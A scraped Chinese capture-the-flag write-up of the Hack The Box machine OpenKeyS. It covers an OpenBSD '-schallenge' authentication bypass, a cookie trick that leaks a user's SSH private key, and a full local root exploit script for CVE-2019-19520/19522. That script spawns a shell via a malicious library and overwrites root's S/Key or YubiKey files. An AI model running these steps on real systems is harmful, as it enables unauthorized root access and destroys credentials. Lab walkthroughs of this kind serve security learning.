HTB-OpenKeyS

article/2025/10/7 1:13:20

HTB-OpenKeyS

  • 信息收集
  • 80端口
  • 立足于Jennifer
  • Jennifer -> root

请添加图片描述

信息收集

在这里插入图片描述
在这里插入图片描述

80端口

在这里插入图片描述
对其进行简单的SQL注入测试和NoSQL注入测试后进行目录扫描。
在这里插入图片描述
在这里插入图片描述
auth.swp文件内容如下:

在这里插入图片描述
代码不是很完整,只能大致了解意思(请原谅我脑子抽了没注意是个swp交换文件)。

session_start();	//启动新会话或者重用现有会话
session_destroy();	//销毁一个会话中的全部数据
session_unset();	//释放所有的会话变量
{function close_session()} //定义一个名为close_session的函数,作用可能是关闭当前会话。
$_SESSION["username"] = $_REQUEST['username'];			//记录对话的用户名
$_SESSION["user_agent"] = $_SERVER['HTTP_USER_AGENT'];	//记录对话的用户代理
$_SESSION["remote_addr"] = $_SERVER['REMOTE_ADDR'];		//记录对话的IP地址
$_SESSION["last_activity"] = $_SERVER['REQUEST_TIME'];	//记录对话最后一次激活的的请求时间
$_SESSION["login_time"] = $_SERVER['REQUEST_TIME'];		//记录对话的登陆时间
$_SESSION["logged_in"] = True;			//对话登录
{function init_session()} } return False;//初始化对话
{ else } } return True;
$_SESSION['last_activity'] = $time;	//记录对话最后一次活跃时间
// Session is active, update last activity time and return True { else } return False;
close_session();					//关闭当前对话
{ ($time - $_SESSION['last_activity']) > $session_timeout) if (isset($_SESSION['last_activity'])&& $time = $_SERVER['REQUEST_TIME'];
// Has the session expired? { if(isset($_SESSION["logged_in"])) // Is the user logged in? session_start();
// Start the session $session_timeout = 300;
// Session timeout in seconds{function is_active_session()} return $retcode;
system($cmd, $retcode);	//执行cmd和cmd的参数
$cmd = escapeshellcmd("../auth_helpers/check_auth " . $username . " " . $password);	//对字符串../auth_helpers/check_auth username password进行转义并赋给cmd变量
{function authenticate($username, $password)	//对username和password进行验证

在这里插入图片描述

不行,这样看不知道该怎么利用。使用wget下载下来。
在这里插入图片描述

使用vim -r auth.php.swp从swp文件中恢复,保存时候会出现问题,找不到路径。

在这里插入图片描述
创建一个路径就可以了。然后再vim -r auth.php.swp恢复,保存后就可以查看源码。并且通过file知道了此文件的用户是jennifer。
在这里插入图片描述

<?phpfunction authenticate($username, $password)
{$cmd = escapeshellcmd("../auth_helpers/check_auth " . $username . " " . $password);system($cmd, $retcode);return $retcode;
}function is_active_session()
{// Session timeout in seconds$session_timeout = 300;// Start the sessionsession_start();// Is the user logged in? if(isset($_SESSION["logged_in"])){// Has the session expired?$time = $_SERVER['REQUEST_TIME'];if (isset($_SESSION['last_activity']) && ($time - $_SESSION['last_activity']) > $session_timeout){close_session();return False;}else{// Session is active, update last activity time and return True$_SESSION['last_activity'] = $time;return True;}}else{return False;}
}function init_session()
{$_SESSION["logged_in"] = True;$_SESSION["login_time"] = $_SERVER['REQUEST_TIME'];$_SESSION["last_activity"] = $_SERVER['REQUEST_TIME'];$_SESSION["remote_addr"] = $_SERVER['REMOTE_ADDR'];$_SESSION["user_agent"] = $_SERVER['HTTP_USER_AGENT'];$_SESSION["username"] = $_REQUEST['username'];
}function close_session()
{session_unset();session_destroy();session_start();
}?>

突破口在escapeshellcmd,但是需要知道../auth_helpers/check_auth的内容是什么。访问http://10.10.10.199/../auth_helpers/check_auth后得到check_auth文件。
在这里插入图片描述
尝试对其逆向发现一个auth_userokay函数。
在这里插入图片描述

还有OpenBSD函数。
在这里插入图片描述
在OpenBSD manual找到了相应函数。
在这里插入图片描述
auth_userokay是一个用于验证用户的身份信息,匹配成功则返回非0,失败则返回0。
在这里插入图片描述
尝试对OpenDSB auth_userokay进行漏洞搜索。得知一个CVE:CVE-2019-19521,漏洞内容为验证身份绕过,网站链接。
在这里插入图片描述
在这里插入图片描述

尝试使用-schallenge作为用户名绕过。

在这里插入图片描述
成功了,但是暴露了个问题用户-schallenge没有OpenSSH的key,这个网站的功能应该是登陆后显示登录用户的OpenSSH key。
在这里插入图片描述

查看一下auth文件。
在这里插入图片描述

session会话的username是从HTTP的REQUEST方式获取,那这个登陆表单的username和这个会话的username是同一个么,如果是同一个那么password在什么地方?所以OpenDSB的auth_userokays的usernamesession会话的username是分开的,因为前者是POST,后者是REQUEST。会话的username是通过HTTP的REQUEST请求获取的。也就是说我们在登陆表单中输入的用户名也会被session获取并且存储。


破局:因为我们通过check_auth接触到了OpenDSB的auth_userokays函数,并且知道这个函数有一个以-schallenge来绕过验证的CVE,同时这个网站的session参数username也会通过我们登陆表单来获取。可能我们通过修改用户名绕过了auth_userokays函数,但是没有通过session的验证(可能因为-schallenge用户不存在),所以我们利用会话的username是$REQUEST($REQUEST包括从$GET$POST$_COOKIE三种方式获取值)在cookie中建立一个username并且名字等于Aster测试一下。

在这里插入图片描述
在这里插入图片描述

立足于Jennifer

测试成功。将username等于我们前面获取的jennifer。添加后Jennifer的OpenSSH私钥就暴露了。
在这里插入图片描述

在这里插入图片描述

Jennifer -> root

Jennifer属于wheel组。如果能找到Jennifer的密码就能够su提升权限。

并且根据系统版本找到了可能存在的提权漏洞。
在这里插入图片描述

在这里插入图片描述

继续回到前面给予我们帮助的网站。里面还有几个提权的CVE。

CVE-2019-19522,因为没有具有身份验证(auth组)而放弃。
在这里插入图片描述
CVE-2019-19519,条件是当前用户Jennifer要在wheel组,并且要知道Jennifer的密码。同样放弃。
在这里插入图片描述
CVE-2019-19520
在这里插入图片描述

根据CVE-2019-19520在网上找到一个脚本。

# https://github.com/bcoles/local-exploits/tree/master/CVE-2019-19520echo "openbsd-authroot (CVE-2019-19520 / CVE-2019-19522)"echo "[*] checking system ..."if grep auth= /etc/login.conf | fgrep -Ev "^#" | grep -q yubikey ; thenecho "[*] system supports YubiKey authentication"target='yubikey'
elif grep auth= /etc/login.conf | fgrep -Ev "^#" | grep -q skey ; thenecho "[*] system supports S/Key authentication"target='skey'if ! test -d /etc/skey/ ; thenecho "[-] S/Key authentication enabled, but has not been initialized"exit 1fi
elseecho "[-] system does not support S/Key / YubiKey authentication"exit 1
fiecho "[*] id: `id`"echo "[*] compiling ..."cat > swrast_dri.c << "EOF"
#include <paths.h>
#include <sys/types.h>
#include <unistd.h>
static void __attribute__ ((constructor)) _init (void) {gid_t rgid, egid, sgid;if (getresgid(&rgid, &egid, &sgid) != 0) _exit(__LINE__);if (setresgid(sgid, sgid, sgid) != 0) _exit(__LINE__);char * const argv[] = { _PATH_KSHELL, NULL };execve(argv[0], argv, NULL);_exit(__LINE__);
}
EOFcc -fpic -shared -s -o swrast_dri.so swrast_dri.c
rm -rf swrast_dri.cecho "[*] running Xvfb ..."display=":66"env -i /usr/X11R6/bin/Xvfb $display -cc 0 &echo "[*] testing for CVE-2019-19520 ..."group=$(echo id -gn | env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display $display)if [ "$group" = "auth" ]; thenecho "[+] success! we have auth group permissions"
elseecho "[-] failed to acquire auth group permissions"exit 1
fi# uncomment to drop to a shell with auth group permissions
#env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display $display ; exitecho
echo "WARNING: THIS EXPLOIT WILL DELETE KEYS. YOU HAVE 5 SECONDS TO CANCEL (CTRL+C)."
echo
sleep 5if [ "$target" = "skey" ]; thenecho "[*] trying CVE-2019-19522 (S/Key) ..."echo "rm -rf /etc/skey/root ; echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root ; chmod 0600 /etc/skey/root" | env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display $displayrm -rf swrast_dri.soecho "Your password is: EGG LARD GROW HOG DRAG LAIN"env -i TERM=vt220 su -l -a skey
fiif [ "$target" = "yubikey" ]; thenecho "[*] trying CVE-2019-19522 (YubiKey) ..."echo "rm -rf /var/db/yubikey/root.* ; echo 32d32ddfb7d5 > /var/db/yubikey/root.uid ; echo 554d5eedfd75fb96cc74d52609505216 > /var/db/yubikey/root.key" | env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display $displayrm -rf swrast_dri.soecho "Your password is: krkhgtuhdnjclrikikklulkldlutreul"env -i TERM=vt220 su -l -a yubikey
fi

在这里插入图片描述
通过脚本获得了密码输入密码。
在这里插入图片描述
PS:另外,在做任何操作的时候请务必小心,可能由于某个操作导致/tmp/.X11开头的那个目录还是文件的用户拥有组出现问题。


http://chatgpt.dhexx.cn/article/XFuWeMEk.shtml

相关文章

HTK工具的安装

首先下载HMM 的开发包HTK&#xff0c;现在的版本是3.4.1.可以从CMU的官网进行下载。 http://htk.eng.cam.ac.uk/&#xff0c;下载后解压HTK工具包&#xff0c;我解压后的目录为&#xff1a;D:\htk\ 确保的环境变量Path包含路径&#xff1a;C:\Program Files\Microsoft Visual S…

HTK的使用方法

一&#xff0c;HTK目录结构 htk是一个开源的软件&#xff0c;解压之后的目录如下&#xff1a; [rootlocalhost htk]# ls AUTHORS config.status env HTK HTKTools Makefile.in ChangeLog config.sub FAQ HTKBook install-sh README co…

语音识别之HTK入门(一)HTK的下载配置

语音识别之HTK入门&#xff08;一&#xff09;HTK的下载配置 Linux环境配置VMware Tools安装必备环境 HTK下载HTK环境设置 跪拜大佬帖子&#xff1a; https://www.cnblogs.com/ansersion/p/4155828.html 基本按照大佬的帖子进行调试的&#xff0c;为表示敬意&#xff0c;全程跪…

HTK学习笔记(一)

HTK学习笔记&#xff08;一&#xff09; 一、HTK软件体系结构 HTK的软件体系结构 HTKTool各部分的功能&#xff1a; 所有的语音输入和输出都是通过HWAVE或HPARM HAudio:用于从音频设备输入波形 HWave:用于从文件中读取波形 HSLab:波形显示工具&#xff0c;可以用于采集语音…

基于htk工具包的语音识别

htk简介&#xff1a; HTK是一个构建隐藏马尔可夫模型(HMMs)的工具包。HMMs可以用于任何时间序列的建模建模&#xff0c;HTK的核心就是类似的通用目的。然而,HTK主要设计用于构建基于HMM的语音处理工具&#xff0c;特别是识别程序。因此,大部分HTK中的基础设施支持专门用于此任…

jQuery学习手册(15)

逐个设置 $(div).css(width, 100px)​ $(div).css(height, 100px)​ $(div).css(background, black)链式设置 注意&#xff1a;如果大于3步&#xff0c;建议分开 $(div).css(width, 100px).css(height, 100px).css(background, black)批量设置 $(div).css({ ​ …

第7章页面布局-ConstrainedBox限定宽高

防采集标记&#xff1a;亢少军老师的课程和资料 import package:flutter/material.dart; class LayoutDemo extends StatelessWidget {overrideWidget build(BuildContext context) {return new Scaffold(appBar: new AppBar(title: new Text(ConstrainedBox限定宽高示例),),b…

全网最详细的一篇Flutter 尺寸限制类容器总结

Flutter中尺寸限制类容器组件包括ConstrainedBox、UnconstrainedBox、SizedBox、AspectRatio、FractionallySizedBox、LimitedBox、Container。这些组件可以约束子组件的尺寸&#xff0c;下面一一介绍。 ConstrainedBox ConstrainedBox组件约束子组件的最大宽高和最小宽高&am…

android中各种height和width总结

1. getMeasuredWidth()和getWidth() 以这两个为例&#xff0c;高度与其相同。这两个是在自定义View中最常见到的&#xff0c;通过字面意思可以看出&#xff0c;前者是测量的宽度&#xff0c;后者是控件的实际宽度&#xff0c;下面看下官方文档对他们的描述&#xff1a; //Ret…

JavaFX布局(一)

说道GUI编程一定要谈到布局&#xff0c;JavaFX内置了大量的布局控件提供给我们使用。其实&#xff0c;JavaFX的布局控件和界面元素控件都是继承自javafx.scene.layout.Region类。我们这里只看布局控件类。布局控件我们在界面上一般是看不到的&#xff0c;它一个容器用于放置其它…

Android 桌面小组件 AppWidgetProvider

废话 桌面小组件&#xff0c;绝对是小程序中的小程序&#xff0c;说白了就是任何复杂一丁点的操作都不适合做成桌面小组件。 所以这里采用的演示的例子&#xff0c;就只有一个白色圆角背景&#xff0c;外加一个文本框&#xff0c;显示文字。 小组件的教程网上一搜一大堆&…

Android 约束布局 ConstrainLayout min max width

写一个自定义view package com.anguomob.guidelineimport android.content.Context import android.graphics.Canvas import android.graphics.Color import android.util.AttributeSet import android.view.Viewclass ZeroView constructor(context: Context?, attrs: Attri…

ConstrainLayout 基础教程2,近期想跳槽的程序员必看

特性详解 Visibility behavior (可见性的表现) ConstraintLayout对可见性被标记View.GONE的控件(后称“GONE控件”)有特殊的处理。一般情况下,GONG控件是不可见的,且不再是布局的一部分,但是在布局计算上,ConstraintLayout与传统布局有一个很重要的区别: 传统布局下,…

UGUI源码解析——LayoutElement

一&#xff1a;前言 继承了ILayoutElement和ILayoutIgnorer接口&#xff0c;作为布局元素组件 挂载了Layout Element组件的对象&#xff0c;布局并不会生效&#xff0c;它是受到实现了布局组的控制(HorizontalLayoutGroup、VerticalLayoutGroup、GridLayoutGroup) 二&#xff…

Layui框架的使用技巧

1.选中html代码块&#xff0c;ctrlshift减号- 就会全部折叠 2.加入Thymeleaf模板需要添加命名空间 <!DOCTYPE html> <html xmlns:th"http://www.thymeleaf.org/"></html> 2.1 替换方法 2.2添加 th:fragment 2.3主页面用一行代码替换 3.SpringBo…

UGUI源码解析——LayoutUtility

一&#xff1a;前言 布局的工具类&#xff0c;可以获取到对象的minWidth、preferredWidth、flexibleWidth、minHeight、preferredHeight、layoutPriority的属性值 二&#xff1a;源码解析 ——获取对象属性值的方法 以上方法可以获取到对象的minWidth、preferredWidth、flexi…

Flutter布局指南之深入理解BoxConstraints

点击上方蓝字关注我&#xff0c;知识会给你力量 强烈建议先看下这篇文章——Flutter你竟是这样的布局 不管你是Android开发&#xff0c;还是Flutter开发&#xff0c;当你开始使用Flutter茫茫多的Widget时&#xff0c;可能会猜测Widget在屏幕上的尺寸和位置&#xff0c;但事实上…

vue element-ui el-table表格二次封装 自定义el-table表格组件 vue封装表格组件

CommTable.vue table组件 <template><div><el-table:data"tableData"border:class"tabClass ? tabClass : null":showHeader"showHeader ? showHeader : true":spanMethod"spanMethod ? spanMethod : null"element…

Stage的MinWidth和MinHeight的疑问

设置了Stage的MinWidth和MinHeight,但是显示的时候不是这个高度和宽度&#xff0c;最小化之后再次显示的时候就可以了&#xff0c;奇怪 package stage;import javafx.application.Application; import javafx.event.ActionEvent; import javafx.event.EventHandler; import jav…

php的width是什么意思,minwidth什么意思?min-width怎么设置

很多人刚刚入门css的新手&#xff0c;不知道minwidth什么意思&#xff1f;min-width怎么设置&#xff0c;下面php中文网就带领大家来学习一下min-width。 一&#xff1a;minwidth什么意思 在css中&#xff0c;minwidth是设置段落的最小宽度&#xff0c;使用该属性是设置一个最小…